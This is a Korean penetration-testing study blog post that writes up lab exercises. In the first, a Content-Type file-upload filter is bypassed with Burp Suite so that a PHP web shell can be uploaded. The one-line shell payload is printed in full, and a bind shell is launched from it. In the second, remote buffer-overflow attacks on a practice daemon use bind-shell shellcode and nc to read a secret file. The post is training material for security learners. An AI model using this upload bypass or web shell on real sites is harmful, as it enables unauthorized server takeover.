TH3 6R3@T H@CK
Attacking Web Pages 본문
파일 업로드 취약점 공격 실습
· 실습 환경 구성 → Burp Suite
- Proxy: 브라우저와 웹 서버간 요청 및 응답을 Intercept > 분석 및 수정
- History: Burp Suite w/ Proxy 이후 모든 히스토리 저장
- Repeater: 반복적 요청 수행
- Decoder: URL, Base64 디코딩 및 해시 값 계산
- Comparar: 요청에 따른 응답들을 비교
· Web Shell 업로드
· 방법: Burp Suite를 이용해 Content-Type 기반의 파일 업로드 제한 우회
- Burp Suite 실행 → Proxy → Open Browser
- Choose File → "1.php.jpeg" 선택
* Content-Type 제한 우회를 위해 확장자명 변환
- Burp Suite → Proxy → Intercept is Off 클릭 (Intercept is On으로 변환)
- 브라우저에서 Upload 클릭
- "1.php"로 수정 후 Forward 클릭
· 업로드 완료
· 업로드 파일(Web shell 접속)
· 1.php → <pre> <?=`$_GET[1]`?>
· shell.php 파일 업로드 및 Web shell 실행 (동일한 방법으로 php-shell.php도 진행)
· php-shell.php를 메모장으로 열어 내용 확인
- Username: user / Password: pass
· Web Shell에서 Bind Shell 실행
조직 내 취약한 서비스 데몬(Daemon) 공격
· 데몬(Daemon): 시스템의 백그라운드에서 동작하면서 클라이언트의 서비스를 처리하는 프로그램
· 내부망에서는 TCP 포트를 통해 통신을 수행하는 다양한 서비스 데몬 존재
- ex. 메신저, 웹, 서버, SSH 서버 및 각종 관리용 AGENT 등
· 서비스 데몬 상에 메모리 관련 취약점(BOF) 등) 존재 시 원격 코드 실행 공격 가능
· 실습 환경 구성
- 공격자 PC: Kali Linux
- 서비스 데몬: 6주차 practice1.c
실습 #1 - "Congratulations!" 출력
· 서비스 데몬 접속
· bof 파일 다운로드
· objdump 도구를 사용하여 success 함수 주소 찾기
· 로컬 테스트를 위한 파일 접근 권한 설정
· 로컬 공격 실행
실습 #2 - 원격 BOF 공격 수행(1): "Congratulations!" 출력
· Python 소켓 프로그래밍을 이용한 공격 코드 전달
· 공격 결과
실습 #3 - 원격 BOF 공격 수행(2): Bind Shell을 실행시켜 /home/victim/secret.txt 파일 읽기
· 접속 IP & Port 정보
· 공격 코드 작성
- 원격으로 BOF 공격을 수행해야 되기 때문에, 실습 #2에서 작성한 Python 소켓 프로그래밍 이용 공격 코드를 수정한다.
* port를 8888로 변경
* lport=11111인 쉘 코드 삽입
* ret 수정 (제시된 stack address: 0x7fffffffeaa0로 수정)
· 공격 실행 화면(수신 대기 상태)
· nc를 통해 Bind Shell 연결 후 secret.txt 읽기
'Study > Penetration Test' 카테고리의 다른 글
Reconnaissance: Screen Capture (0) | 2024.05.08 |
---|---|
Reconnaissance: Key Logger (0) | 2024.05.01 |
Deployment and Expansion (0) | 2024.04.03 |
MSFconsole (0) | 2024.03.22 |
AGENT (1) | 2024.03.22 |